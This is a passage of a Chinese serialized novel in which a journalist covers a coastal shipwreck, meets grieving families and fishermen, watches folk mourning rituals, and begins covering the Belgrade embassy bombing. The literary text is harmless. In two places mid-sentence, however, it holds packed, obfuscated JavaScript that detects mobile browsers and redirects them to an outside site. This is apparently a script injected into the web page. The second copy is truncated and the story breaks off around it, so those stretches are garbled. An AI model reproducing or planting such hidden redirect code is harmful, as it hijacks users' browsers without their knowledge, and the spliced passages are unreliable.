叶葆启走过去,递上香烟。最年长的那位,脸上皱纹深得如同被海浪千万年凿刻的岩纹,他迟缓地转过头,眼白浑浊,看了看叶葆启,又看了看烟,没接。他伸手指了指海面,开口时,声音嘶哑得像砂纸磨过锈铁: “看……都在那儿了。” “什么在那儿了,老伯?”王皓轻声问,打开了笔记本,钢笔尖悬在纸面上。 “魂。”老人吐出一个字,又陷入沉默。旁边一个稍年轻些的,脸颊被海风刮得紫红,猛地吸了口烟,接话道:“昨儿夜里……那声音,你们是没听见。不像雷,也不像炮,闷闷的,从海肚子里传上来,‘轰’……接着是‘嘎吱嘎吱’,像是老天爷在嚼碎一把巨大的骨头。”他描述时,手臂不自觉地比划着,手指蜷曲,做出断裂的形状。“火!好大的火!就在那雾里头烧,红通通的,把雾都烫出了窟窿……可转眼,就没了,像是被海一口吞了。剩下就是黑,比墨还黑。” “然后,今早上,”另一个声音幽幽地说,带着梦游般的语调,“海里漂东西过来了。不是鱼,不是木头……是箱子,是皮球,是翻过来的椅子腿……还有,花衣裳,小孩的花衣裳,一件粉的,一件绿的,在灰水里漂着,扎眼得很……”他说不下去了,用力眨了眨眼睛,仿佛要驱散那过于鲜艳、又过于凄凉的幻象。 叶葆启感到一股寒意从脚底升起。这些破碎的意象,经由这些与海搏斗了一辈子的人用最朴素的言辞说出,比任何正式的灾情描述都更具象,更惊心。周占卡的相机无声地举起,又放下。这个距离,这个光线,拍不清人脸,但他还是按下了快门,记录下那几个凝固的、眺望的黑色剪影,以及他们面前那一片吞噬一切的、苍茫的雾海。快门声很轻,但在凝滞的空气里,却像一声轻微的叹息。 他们继续沿着海岸线游走,像几个找不到祭坛的孤魂。在临时安置点外围,在弥漫着消毒水气味的医院走廊尽头,他们捕捉到更多碎片:缠着绷带的手臂在微微颤抖;嘶哑的、反复念叨某个名字的呓语;紧紧抱在怀里、被海水泡得发胀变形的行李包;还有一双双眼睛,那些眼睛里,有的是一片空白,是尚未理解灾难全貌的茫然;有的是烧尽的灰烬,是绝望抵达极致后的死寂;还有的,则燃着一种骇人的、执拗的光,那是在绝望的废墟上,用最后一丝生命力点燃的、不肯熄灭的期盼。 叶葆启遇到一位老大娘。她独自坐在接待处门外的水泥台阶上,穿着一件显然不合身的、过于宽大的旧棉袄,头上围着一条褪色的蓝头巾。雨丝飘到她花白的头发上,凝成细小的水珠。她手里没有行李,只紧紧攥着一张纸,指甲因为用力而深深陷进掌心。叶葆启蹲下身,视线与她齐平。她慢慢抬起头,那是一张被岁月和悲苦雕刻得沟壑纵横的脸,但眼睛却异常清澈,清澈得近乎稚嫩。她看着叶葆启,看了很久,仿佛在辨认,又仿佛只是透过他,望着虚空中的某个点。 “同志,”她开口,声音轻得像耳语,却每个字都清晰,“你看见我儿了吗?”不等回答,她将手里攥着的纸小心翼翼地展开一角。那是一张身份证的复印件,一个年轻人的黑白头像,面容敦厚,眼神明亮,嘴角似乎还带着一丝羞涩的笑意。复印件被水汽濡湿了些,边缘有些发皱。“他叫小海,”大娘说,手指极轻地抚过照片上青年的脸颊,仿佛怕碰疼了他,“二十五了,属虎的。说是去那边……找活干,挣了钱,过年给我扯块新布料,做件褂子……”她的叙述平静得出奇,没有眼泪,只有一种深不见底的、温和的茫然。“船开了,他说,‘妈,回吧,水边风大。’我就回了……可现在,风停了,雨来了,我儿呢?” 她把复印件递向叶葆启,动作里有一种不容置疑的托付。“你走的地方多,见的人多,你帮我找找他,啊?兴许……兴许他游到哪个岛上了,累了,睡着了?你看见他,告诉他,妈不急着要新褂子,妈就在这儿等他,水边风大,妈穿着旧袄,不冷……”她说着,把复印件塞进叶葆启手里,那纸片还带着她微弱的体温,和一股淡淡的、皂角的干净气味。 叶葆启握住那张纸,薄薄的,却又重逾千钧。他想说些什么,安慰的话,保证的话,但所有语言在这位母亲温和的绝望面前,都显得苍白、虚伪、轻浮。他只能重重地点头,将那张复印件仔细地夹进自己的采访本里,紧贴着心脏的位置。大娘看着他做完这些,脸上似乎掠过一丝极淡的、几乎看不见的宽慰,随即又恢复了那深海般的平静,重新望向雨雾迷蒙的海面。那一刻,叶葆启感到自己接过的不是一张寻人启事,而是一颗沉甸甸的、还在微弱搏动的心。 夜晚,他们蜷缩在廉价小旅馆潮湿的被褥里。窗户关不严,海风像冰凉的手指,一阵阵探进来。远处,似乎还有船只的马达声隐约传来,那是仍在进行的、希望渺茫的搜寻。周占卡在昏黄的台灯下,用软布反复擦拭他的相机镜头,动作轻柔得像在安抚一个婴儿。王皓则对着笔记本发呆,纸上写满了凌乱的词句和划掉的段落。 “怎么写?”王皓终于开口,声音疲惫,“写那些漂来的椅子腿?写小海和他妈?写雾里被吞掉的火?” 叶葆启靠在冰冷的墙壁上,闭上眼。黑暗中,各种影像却更加清晰:渔民们岩刻般的侧影,医院走廊晃动的吊瓶,大娘清澈而空洞的眼神,还有照片上小海年轻的笑脸……这些碎片在他脑海里旋转、碰撞、试图拼凑出一个完整的图景,却又总在即将成型时,被一阵浓雾或一个浪头打散。 “不能写那些‘像’什么,”叶葆启缓缓说,像是在梳理自己的思绪,“也不能只写‘是’什么。老陈让我们‘思量’……我们得写那雾本身,写它如何遮蔽,又如何让一些东西在遮蔽下反而凸显;写那海,它吞噬,但它也承载记忆,那些漂来的物件,就是记忆的残骸;写那些人,他们的等待、讲述、甚至沉默,都是这事件的一部分,是‘真实’在民间的、有温度的载体。” 他想起在西部听到的一些古老传说,关于灵魂的归处,关于自然之物如何吸纳人的气息与记忆。“或许,”他斟酌着字句,尝试用另一种逻辑去组织材料,“我们可以写,这场雾,这场风浪,不仅仅是一场物理的灾难。它是一个巨大的‘筛子’,筛出了生命的脆弱,也筛出了情感的坚韧;筛出了制度的缝隙,也筛出了人心深处最本能的善与悲悯。我们的笔,不是去描绘那筛子孔洞的形状大小,而是去接住那些被筛落下来的东西——那些具体的痛,具体的爱,具体的疑问,具体的守望。” 接下来的日子,他们像勤勉的拾荒者,在官方划定的叙事边缘,小心翼翼地收集着这些“被筛落的东西”。他们记录下救援人员被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904189|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冻得青紫、却仍一遍遍放下皮划艇的手;记录下小诊所里那位赤脚医生,用最土的办法为幸存者缓解失温;记录下附近居民自发腾出房间,烧热水,蒸馒头,默默放在安置点门口;记录下一个小女孩,将她攒了一罐子的彩色玻璃弹珠,全部捐了出来,说“给海里的小朋友玩,他们就不怕黑了”…… 叶葆启的笔触,开始尝试一种克制而又充满隐喻的书写。他写海雾:“这雾不是静止的,它流动,徘徊,时而稀薄如纱,时而浓稠似粥。它包裹一切,消化声音,混淆远近。它让近在咫尺的灯塔变得如同幻影,也让远在天边的悲号仿佛近在耳畔。它是此刻这片海域最真实的统治者,一面巨大的、柔软的、湿冷的帷幕,掩盖了悲剧最惨烈的细节,却又将悲剧那无边无际的沉重质感,均匀地涂抹在每一寸空气里,每一个呼吸中。” 他写那位等待的母亲:“她坐在那里,像海岸线上新长出的一块礁石。风雨吹打她,她不动;消息(或没有消息)冲刷她,她也不动。她只是望着海,用一种近乎神性的耐心。她的等待本身,已经成了一种存在,一种对‘消逝’这个词最温柔也最执拗的质疑。她相信海有耳朵,有良心,总有一天,会把她的儿子,连同那句没来得及在风里送出去的叮咛,一起还给她。” 他也写那些无名的逝者,不写数字,只写痕迹:“码头边的招领处,物品渐渐多了起来。一只棕色男式皮鞋,鞋底纹路里还嵌着远方的沙粒;一个印着红双喜字的搪瓷缸,磕掉了一块漆;半本被海水泡得酥软、字迹漫漶的《船舶机电维修手册》;还有一把系着褪色红绳的钥匙,不知道还能打开哪一扇门,点亮哪一盏灯……它们静默着,却比任何哭喊都更喧哗地诉说着一个个被骤然中断的人生章节。它们是‘曾经存在过’的最物化的证据,是生命留给这个世界的,最后的、微温的烙印。” 报道一篇篇发回《内海都市报》。没有耸动的标题,没有直接的诘问,只有沉静的叙述、白描的细节和克制的抒情。奇迹般地,这些文字却激起了巨大的回声。报社的电话再次成了热线的海洋,声音那头,有哽咽,有叹息,有长长的沉默,然后是一句:“谢谢你们写下这些……我们看见了。”有读者寄来汇款单,不署名,只在附言栏里写:“给小海妈妈买件新褂子,要厚的。”有学校的孩子们画了画,画上有大大的、发光的灯塔,有结实的小船,有手拉手的人群,画纸背面用稚嫩的笔迹写着:“不怕,我们拉着他们呢。” 叶葆启知道,他们并未触及事件最核心的旋涡,那关于决策、关于技术、关于责任的深层诘问,仍被重重迷雾锁在不可见的深处。但他们的笔,或许正如那雾中微弱却坚持的灯塔光晕,无法驱散浓雾,却至少标示了苦难的存在,照见了冰冷海面上那些奋力划动的人性小舟,为这场全民的集体伤痛,提供了一个可以凭吊、可以共鸣、可以落泪的支点。 撤离前夜,叶葆启又一次独自来到海边。大规模的搜索已近尾声,海岸恢复了某种表面的寂寥。雾散了些,露出一弯寒月,清冷的光辉洒在起伏的黑缎子似的海面上,碎成无数颤抖的银鳞。海潮声规律而永恒,冲刷着沙滩,也冲刷着人类短暂的悲欢。 他想起这几天听到的一个当地老人的喃喃自语,说这不是第一次,大海每隔一些年,就要“收人”,像一种古老的、残酷的献祭。又说,那些被收走的人,魂灵不会立刻散去,会附在海雾里,附在夜晚的潮声里,附在突然跃出海面的鱼群银亮的鳞片上,要过很久很久,才会真正安息,或者,成为这片海永恒记忆的一部分。 叶葆启从怀里掏出采访本,翻到夹着小海身份证复印件的那一页。月光下,年轻人的笑脸显得有些不真实。他将采访本轻轻贴在胸口,面向浩瀚的、沉默的、蕴藏着无尽秘密与悲伤的大海,深深地鞠了一躬。 不是告别,是承诺。 返程的飞机上,他疲惫至极,却无法入睡。闭上眼,耳畔是海潮与风声的混合交响,眼前交替浮现着岩礁上的剪影、母亲清澈的眼睛、漂浮的花衣裳、还有那把不知名的钥匙……这些意象不再是碎片,它们开始在他的精神世界里发酵、生长、缠绕,与他早年读过的那些魔幻故事、与他采访过的诸多生死场、与他自身对命运无常的体悟,慢慢融合在一起。 他忽然领悟到,记者的工作,或许也是一种“打捞”。打捞沉没在官方叙事汪洋之下的个体声音,打捞被宏大话语忽略的细微震颤,打捞悲伤中迸发的火星,打捞绝望深处滋生的根芽。他们打捞上来的,或许不是“真相”的全部,甚至只是真相投下的些许浮光掠影,是一些“真实”的魂魄。但正是这些魂魄,让历史不至于仅仅是一串冰冷的数字和结论,而有了温度,有了气味,有了可供后人触摸与感应的脉搏。 飞机穿透云层,上方是璀璨得近乎虚假的阳光。叶葆启收回目光,看向自己粗糙的、沾过西部黄沙和东部海盐的双手。这双手,还会拿起笔,去记录更多欢笑与泪水,承平与动荡。海难的迷雾会渐渐淡去,但它注入他血液里的那份沉重与澄明,那份对生命无限的敬畏与对讲述的审慎执着,将如一枚深海沉船上的锈蚀铭牌,永远烙印在他的职业生命里。 前路尚长,迷雾或许还会再有。但他知道,无论遇见什么,他的笔尖,都将尽力去成为那未央的灯塔——不妄图照亮整个黑夜,只求在有限的弧度内,守护一点微光,让那些在命运怒海中颠簸的灵魂,知道自己未被完全遗忘。这微光,便是人性在无尽沧茫中,能够为自己点燃的,最倔强的尊严。 38. 第038章 灰烬与潮汐叙事 海难发生后的第七个第七天,海岸线上出现了第一批祭奠者。 叶葆启记得那天的风有着刀刃般的质地,它从海的深处刮来,裹挟着盐粒和看不见的呜咽。防波堤上的水泥被岁月啃噬出蜂窝状的孔洞,每个孔洞里都住着不同的风声——有的像老人的咳嗽,有的像婴孩的啼哭,有的则像女人压抑在喉咙深处的哽咽。 他站在距离祭奠人群三十步外的礁石上,这个距离刚好能让视线模糊细节,却又清晰捕捉到那些人体轮廓在风中颤抖的弧度。记者证在口袋里发烫,像一块偷来的炭。他知道自己不该出现在这里,又知道自己必须出现在这里。记录者的两难总是这样:一边是活人的隐私,一边是死者的沉默,而他就站在那条狭窄的边界线上,脚下的礁石长满滑腻的青色苔藓。 最先吸引他注意的是一簇火。 火在海边总是显得怪异——这被水统治的领域本应驱逐一切火焰,但此刻,一团橙黄色的火焰正在防波堤的缺口处跳动。持火者是个脊背佝偻如虾米的中年男子,他蹲踞的姿势让人想起古代祭祀遗址中的陶俑。火焰并非来自寻常的纸钱,男子从随身的布袋里取出一件件物品投入火中:一顶褪色的海军蓝帽子,几封边缘磨损的信笺,一只右脚的皮鞋。每投入一件,火焰就窜高一尺,发出不同质地的爆裂声——信纸烧出青白色的火苗,皮鞋的橡胶底则吐出浓黑且恶臭的烟。 男子忽然开口说话,声音被风撕成碎片,只有几个词飘到叶葆启耳中:“……你说过……回来就……”接下来的话被一阵猛烈的海风卷走,消失在潮水的轰鸣里。他最后从怀里摸出一个扁铁壶,拧开,将液体倾入火焰。火焰瞬间变成幽蓝色,发出类似人类叹息的嘶嘶声。酒香混合着焦糊味飘散开来,那是廉价高粱酒特有的甜腻气息。 叶葆启的手指在相机快门上颤抖。透过取景框,他看到火焰在男子脸上投下跳动的阴影,那些阴影有着自己的生命——它们时而拉长成哭泣的人形,时而蜷缩成胎儿的姿态。有一瞬间,他确信看到火焰中浮现出一张模糊的人脸,但当他眨眼的刹那,又只剩下寻常的火舌。 “不要拍。”一个苍老的声音在他身后响起。 叶葆启猛地转身。是个牙齿稀疏的老渔夫,脸上皱纹的走向记录着六十年海风的轨迹。老人没有看他,目光始终投向燃烧的火焰:“他在烧魂。每烧一件旧物,就放走一缕魂。拍下来,魂就困在纸里了。” “什么?”叶葆启放下相机。 “海死的人,魂不认得回家的路。”老人从油腻的帆布外套里掏出烟袋,慢慢填着烟丝,“得靠旧物引路。烧干净了,魂才能闻着味儿,跟着烟,找到该去的地方。” “那要是……烧不全呢?” 老人划亮火柴,火光照亮了他浑浊的右眼——那只眼睛的瞳孔是灰白色的,像蒙了层海雾:“烧不全,魂就在海边飘着。夜里你听潮声,里头那些不像浪的声音,就是没走成的魂在找自己的东西。” 火焰边的男子完成了仪式。他从灰烬中扒拉出什么,小心地捧在手心,走向海浪。在海水触及脚尖的瞬间,他张开手掌,让海风带走掌中的灰。灰烬没有立即散去,而是在空中盘旋了三圈,形成一个小小的灰色旋涡,然后才缓缓沉入波涛。 “看到了吗?”老渔夫吐出一口浓烟,“魂认得自己的灰。” 叶葆启想追问,老人却摆摆手,趿拉着破胶鞋,沿着防波堤向西走去,身影很快消失在渐浓的暮色中。这时叶葆启才注意到,老人的左脚和右脚穿的鞋子不一样——一只是黑色胶鞋,一只是棕色旧皮鞋。 第二幕祭奠发生在日落时分。 太阳像一颗即将熄灭的炭球,挣扎着向海平面沉去。光线的角度变得诡异,给万物拉出长而扭曲的影子。一对老夫妇出现在沙滩与礁石的交界处,他们的移动方式很特别——不是并排走,也不是一前一后,而是以一种镜像般的对称缓慢移动。老头向左三步,老太就向右三步;老头抬起右手,老太就抬起左手。他们中间始终保持着一人宽的距离,仿佛那空档里还走着第三个人。 老太怀里抱着一个用油布包裹的方形物件。她解包裹的动作极慢,手指在每个绳结上都要停留良久。最后露出的是一帧镶在黑木相框里的照片。由于距离和光线,叶葆启看不清照片的内容,但他看到当照片完全暴露在空气中时,两位老人的身体同时颤抖起来,就像被同一股电流击中。 他们开始对着照片说话。不是寻常的祭奠祷词,而是日常的、琐碎的对话: “今早市集有卖黄花鱼的,我看了,都不新鲜……” “阳台那盆茉莉又打苞了,比往年晚了半个月……” “巷口的裁缝铺关门了,老王说他儿子接他去南方……” “你的毛衣我补好了,左边袖口磨薄的地方,我绣了朵浪花……” 这些毫无关联的叙述被海风编织在一起,竟产生了奇异的和谐。叶葆启忽然意识到,他们不是在向死者说话,而是在代替死者继续生活——死者生前应该是个爱买鱼、关心花草、在裁缝铺改过衣服、毛衣袖口容易磨损的人。通过复述这些琐碎细节,死者仿佛又被短暂地召回人间,活在两个老人的对话间隙里。 老太从布袋里掏出米粒,开始向海中抛撒。不是一把把地撒,而是一粒一粒,每抛一粒就停顿一次。老头则从另一个袋子里取出小纸船,这些纸船折得异常精致,有帆,有舵,甚至还能看到纸做的锚。他点燃纸船尾部——那里浸过蜡——然后将燃烧的小船放入潮水。 纸船没有像预期中那样迅速沉没。它们在海面上组成了一个小型船队,随着退潮向深海漂去。火焰在每艘船上跳动,从岸上看去,像一群迷你的、正在航行的灯笼。最奇异的是,当船队漂出约一百米后,所有船上的火焰同时改变了颜色,从橙红变成幽蓝,然后齐齐熄灭,仿佛有只看不见的手在同一时刻掐灭了所有火苗。 “回不来的船,要点灯引路。”老渔夫的声音又鬼魅般响起。叶葆启这才发现,老人不知何时又回到了附近,正蹲在一块礁石上修补渔网。他的手指在网眼间穿梭,动作快得不似他这个年纪该有的敏捷:“但海老爷收灯有规矩——过了界,灯就得灭。活人的光,照不进死人的海。” “界线在哪里?” 老人抬手指向海面:“看见那条颜色不一样的水带了吗?” 叶葆启眯起眼睛。在暮色渐浓的海面上,确实有一条隐约可见的分界线,线内的海水是深铁灰色,线外则近乎墨黑。那条线在不断移动,形状变幻,像一条活着的巨蟒在海面下蠕动。 “那是阴阳流。”老人咬断网绳,“活水死水交汇的地方。纸船漂到那儿,就是到了关口。过得去的,魂就安生了;过不去的……”他没有说完,只是摇了摇头,将渔网收拢,扛在肩上,“记者同志,我劝你早点回去。今晚的月亮不对。” “月亮怎么了?” “钩月挂东南,死人要上岸。”老人用一句含糊的谚语回答,然后指了指天空。 叶葆启抬头。东边的天际线上,一弯极细的月牙刚刚升起,它的形状确实不像正常的月牙——一端尖利如钩,另一端却突兀地膨大,像个畸形的问号。月光是浑浊的黄色,洒在海面上,给波涛镀上一层类似陈旧骨头的色泽。 第三位祭奠者是在月亮完全升起后出现的。 她看起来不到三十岁,苍白的脸在月光下像一块未经打磨的玉石。左手牵着个四五岁的小女孩,右手提着一个竹篮。孩子很安静,安静得不合年龄,只是睁大眼睛看着海,瞳孔里倒映着破碎的月光。 女人选择的祭奠地点很特别——不是开阔的沙滩,也不是平坦的防波堤,而是一处被两块巨大礁石包围的浅洼。潮水在这里形成一个小小的漩涡,水进进出出,发出类似漱口的咕噜声。她从竹篮里取出的不是纸钱,也不是祭品,而是一叠裁切整齐的白纸和一把小剪刀。 她开始剪纸。 叶葆启从没见过这样的剪纸手艺。剪刀在纸上移动的速度快得肉眼难以追踪,纸屑如雪花般飘落。她先剪出一艘船的轮廓——不是简单的船形,而是有着复杂细节的剪影:桅杆、缆绳、舷窗,甚至能看到窗后隐约的人影。接着剪出海洋,波浪的曲线在纸上蔓延,每一道波纹都有着独特的弧度。然后是天空,云层,飞鸟。 最大的奇迹发生在最后。当整幅作品完成,她轻轻将它举起,对着月亮时,纸上的画面突然“活”了过来——不是真正的活动,而是光影造成的幻觉:月光穿透剪纸的孔隙,在下面的礁石上投射出流动的影像。那些剪出来的波浪似乎在荡漾,船似乎在轻微摇晃,连舷窗后的人影都仿佛在移动。 小女孩第一次开口:“妈妈,船动了。” “嗯,船在回家。”女人的声音干涩得像磨砂纸。 “爸爸在船上吗?” “在。” “他冷吗?” 女人停顿了很久,久到叶葆启以为她不会回答了。潮水漫进浅洼,打湿了她的布鞋,但她浑然不觉。 “海底下有暖流,”她终于说,“像妈妈的怀抱一样暖。” 这个谎言说得如此平静,如此确信,连叶葆启都有一瞬间愿意相信它是真的。女人将剪纸对折,再对折,折成一艘立体的小船。她让女儿对着船头呵了一口气,然后将纸船放入漩涡。 纸船的命运与之前的祭品都不同。它没有被潮水立即卷走,也没有沉没,而是在漩涡中心打转,一圈,两圈,三圈……转到第七圈时,漩涡的水流突然改变方向,纸船被一股向上的力量托起,竟然逆着潮水,向岸的方向漂回了一小段距离。 女人的呼吸停止了。她死死盯着那艘违背物理规律的小船,眼中有什么东西在破碎和重组。纸船最终停在距离岸边三步远的水中,不再移动,也不再打转,就那样静静浮着,像在等待什么。 “他不肯走。”女人喃喃自语。 “爸爸舍不得我们。”小女孩说。 女人跪了下来,海水浸湿了她的膝盖。她伸出双手,不是要去捞那艘船,而是做出一个拥抱的姿势,对着大海,对着那艘不肯离去的纸船,对着月光下无尽的黑水。 “走吧。”她说,声音很轻,“走吧,我们记得你。” 纸船突然自行解体,纸张在海水中软化、展开,恢复成最初的平面。然后,缓慢地,沉了下去。沉没的过程异常漫长,仿佛那薄薄一张纸有着千钧重量。 叶葆启感觉到脸颊上的冰凉。他抬手去擦,发现是眼泪。作为记者,他经历过太多需要保持情感距离的场合,但此刻,某种超越职业训练的东西击穿了他。他想起老渔夫的话——“活人的光,照不进死人的海”——但或许有些光,有些记忆,有些用剪刀和纸表达的思念,能够短暂地穿透那条界线,给冰冷的海底带去一丝温度。 夜更深时,祭奠者们陆续离去。火焰熄灭,灰烬被潮水舔舐干净,纸船沉没,米粒被鱼群分食。海边恢复了它亘古的荒凉,只剩下风、浪、和那个畸形的月亮。 但叶葆启没有离开。 他坐在一块背风的礁石后,笔记本摊在膝上,笔尖悬在纸面上方。该记录什么?如何记录?那些超现实的细节——火焰中的面孔,会变色的纸船,逆流而回的剪纸——若如实写下,会被编辑部认为是在撰写志怪小说。但若只写表面的哀悼场景,又背叛了今晚他所见所感的本质。 笔尖终于落下: “海岸线上,生者用火焰与纸船搭建临时的桥梁,试图与深海下的沉默对话。这些仪式看似荒诞,却比任何官方悼词都更接近悲伤的本质——悲伤需要容器,需要仪式,需要将无形的痛楚转化为有形的动作:烧、撒、折、放。当一个人对着一团火说话,他不是在迷信,而是在重构一个被暴力撕裂的世界秩序。火是他临时的神祇,倾听那些无法对活人言说的词语。 “老渔夫说,海死的人魂不认路。这或许不是字面意义上的灵魂迷途,而是隐喻着猝然离世带来的叙事断裂——那些未说完的话,未实现的诺言,未完成的日常,突然失去了接收者,于是飘荡在生者的记忆里,找不到安放之处。祭奠仪式,就是在给这些飘荡的叙事一个暂时的归宿。 “女人剪出的纸船逆流而回时,我看到的不是超自然现象,而是一个母亲、一个妻子拒绝接受离别彻底性的具象化。人的情感有时拥有改变物理法则的幻觉力量,这种幻觉本身就是真实的组成部分。” 写到此处,叶葆启停下笔。东方的天际开始泛白,那种白不是纯净的白色,而是掺杂着灰蓝和淡紫的病态色调。潮水退去,露出湿漉漉的沙滩,上面印着密密麻麻的脚印——有些是刚留下的,有些则可能属于昨夜,前夜,甚至更久之前的祭奠者。脚印与脚印重叠,被新的潮水抹平,又被新的脚印覆盖,就像记忆的层层沉积。 他忽然明白自己该写一篇什么样的报道了。不是直接描述祭奠场景,而是通过一个虚构的、世代生活在海边的家族视角,讲述他们对海难的理解和回应。这个家族中,有人相信魂灵需要引渡,有人坚持科学解释,有人陷入沉默,有人通过创作来消化悲痛——剪纸、木雕、编织渔网时特殊的结绳方式,都是他们各自的叙事。 报道将模糊具体的时间地点,只说是“北方某次海难后”,重点放在灾难如何渗透进一个社区的集体潜意识,如何改变人们对海的认知,如何催生出民间的、自发的疗愈机制。那些看似怪异的祭奠行为,实则是没有心理干预资源的普通人,自己发明的创伤处理方式。 叶葆启收拾东西准备离开时,在礁石缝隙里发现了一件被遗忘的祭品。是个小小的、用贝壳和海草编织的娃娃,做工粗糙,但能看出是个人形。娃娃的胸口贴着一小块从作业本上撕下来的纸,上面用铅笔写着:“爸爸,我想你。” 没有落款,没有日期。它可能属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为你会写下来。”老人终于正眼看他,“而写下来,就是一种记得。被记得的魂,慢慢地就不再需要回来了。” 太阳完全升起来了,驱散了海面上的雾气。老人修补的破船在阳光下露出全貌——那是一艘最多能容纳三人的小渔船,船身布满修补的痕迹,新旧木板交错,像一件百衲衣。最奇特的是船头的装饰:不是寻常的鱼眼或图腾,而是一个用浮木雕刻的女人半身像,她的长发是用真正的头发编织的,在海风中微微飘动。 “那是我妻子。”老人注意到叶葆启的目光,“死了三十年了。每次我出海,她都看着前方。死人在前面引路,活人才不会走错。” 叶葆启突然理解了昨夜所有祭奠的本质:它们不是在哀悼逝者,而是在重建生者与逝者之间的联系。这种联系不是鬼魂意义上的纠缠,而是叙事意义上的延续——通过记忆、仪式、故事,让逝者继续参与生者的世界,直到生者准备好独自前行。 他的报道,也可以成为这种延续的一部分。 一周后,刊发。没有配发祭奠现场的照片,而是请了一位画家根据描述创作了黑白插图:火焰中隐约的人形,海面上的纸船灯阵,逆流的剪纸,以及一个背对读者、面向大海的小小贝壳娃娃。 反响出乎意料。编辑部收到了数十封读者来信,有的分享了自己家族祭奠亲人的独特方式,有的感谢文章说出了他们无法言说的感受,有的询问如何帮助海难家属。那对老夫妇的儿子——一位在大学教民俗学的教授——甚至打来电话,说文章准确地捕捉到了民间哀悼仪式的文化内核:“那不是迷信,而是一套未被主流话语收编的创伤语言。” 最让叶葆启触动的是剪纸女人的来信。信很简短: “记者同志,我看到报纸了。您写的那艘逆流的纸船,让我哭了一整夜。但哭完之后,我忽然觉得轻了一些——好像有一部分悲伤被那张纸接住了,不再全部压在我心里。谢谢您。我正在学习剪纸,想把这门手艺传给我女儿。也许有一天,我们能剪出足够多的船,让所有回不来的人,都有一艘纸船可以乘坐。那样,他们就不冷了。” 随信寄来的还有一件剪纸作品:一艘大船,船上密密麻麻满是窗,每扇窗后都有一个微小但清晰的人影。船帆上剪出一行小字:“记忆是另一种归航。” 叶葆启将这幅剪纸装裱起来,挂在书房墙上。写作时抬头看见它,就会想起那个月光如骨的夜晚,想起海面上那些试图照亮深海的微小光芒。 他继续关注海难的后续:安全条例的修订,救援体系的完善,保险理赔的进展。但在他心中,最重要的报道已经完成——那篇关于普通人如何以脆弱却坚韧的方式,面对无法理解的失去,如何在记忆与遗忘之间开辟第三条道路:不是忘记,而是将失去编织进生命的继续。 又过了许多年,这件事情在公共记忆中逐渐淡去,叶葆启偶然重访那片海岸。防波堤已被加固,海滨建起了观光步道,老渔夫的破船不见了,礁石区立起了“危险勿近”的牌子。 但在一个偏僻的小湾,他发现了新的祭奠痕迹:不是纸钱灰烬,不是食物祭品,而是系在礁石上的彩色布条。成百上千条,每一条都写着字。他走近细看,布条上的文字各式各样: “爸爸,我考上大学了。” “老婆,我把儿子带大了,他长得像你。” “哥,老屋拆了,我在新家给你留了个房间。” “女儿,你种的枇杷树今年结果了,很甜。” 海风吹动布条,它们如一群彩色的鸟在飞舞。每一条布带都是一个仍在继续的故事,一个生者对逝者的汇报,一次穿越阴阳界线的通信。 叶葆启没有拍照,没有记录,只是站在那里,看了很久。 潮水来了又去,布条被打湿,颜色在褪去,字迹在模糊。终有一天,它们会彻底消失,像所有祭品一样,被大海回收。但写下它们的手,系上它们的时刻,那些对着大海说出的简短句子——这些瞬间已经改变了什么。就像雨滴落入大海,看似消失,实则已成为海的一部分。 他转身离开时,似乎听到背后传来细碎的声音——不是浪,不是风,而像是许多低语汇成的合唱。他没有回头,因为知道那可能是幻觉,也可能是真实。在海岸线上,在这生与死、记忆与遗忘的潮间带,所有的幻觉都包含着某种真实。 而他的工作,就是诚实地记录下这些真实,即使它们穿着幻觉的外衣。因为在这个世界上,有些悲伤太大,无法用现实的容器盛放,必须借助魔幻的器皿。而记者,就是那些器皿的烧制者与传递者——不评判形状,只保证递送。 海平线上,又一场风暴正在酝酿。但这一次,岸上的人们已经学会了如何为彼此点灯,如何在风中站稳,如何将告别变成一种持续的对话。在无尽的潮起潮落中,这或许就是人类所能做到的最接近永恒的事:记得,并且诉说。 39. 第039章 铁锚与白菊 那一年,雨水来得特别早。才过谷雨,铅灰色的云层就沉沉地压在城市上空,像一块浸透了煤油的破毡布,随时要滴下些什么。街巷里的梧桐刚抽出嫩芽,却被连日的阴雨打得抬不起头,湿漉漉的叶子贴在枝干上,像无数只溺水者求救的手。 消息是在一个午夜抵达的,像一柄烧红的铁钎,猝不及防地捅进了这座沿海城市的梦境。起初只是电话铃声在少数几户人家响起,接着是压抑的啜泣,随后哭泣声如瘟疫般蔓延开来,穿过雨幕,顺着电线杆和老墙的缝隙,渗进了千家万户的睡梦。天亮时,整座城市都醒了,却醒在一场共同的噩梦里。 报社的老印刷机在凌晨三点开始轰鸣。叶葆启站在二楼的窗前,看着楼下陆续聚集的人群。他们没有打伞,雨水顺着头发、脸颊流下,与泪水混在一起。人群是沉默的,沉默得可怕,只有雨水敲打柏油路面的声音,啪嗒,啪嗒,像谁的心跳正在慢慢冷却。 “三位记者,”总编辑的声音在身后响起,沙哑得像被砂纸打磨过,“其中一位,是咱们这座城市的姑娘。” 叶葆启转过身。总编辑手里捏着一份电传稿,手指关节因为用力而发白。他五十多岁了,鬓角已经全白,此刻那些白发在日光灯下泛着潮湿的光。 “朱颖。”总编辑吐出这个名字时,嘴唇在颤抖,“二十七岁。” 办公室墙上的老式挂钟滴答作响,秒针每走一格都格外沉重。叶葆启接过那张薄薄的纸,上面的字迹因为潮湿有些晕染:贝尔格莱德,轰炸,三名中国记者罹难。他的目光停留在“朱颖”两个字上,突然想起小时候外婆说过——名字是有重量的,有的人名字轻如柳絮,风一吹就散了;有的人名字却重如铁锚,沉下去就能定住整艘船的摇晃。 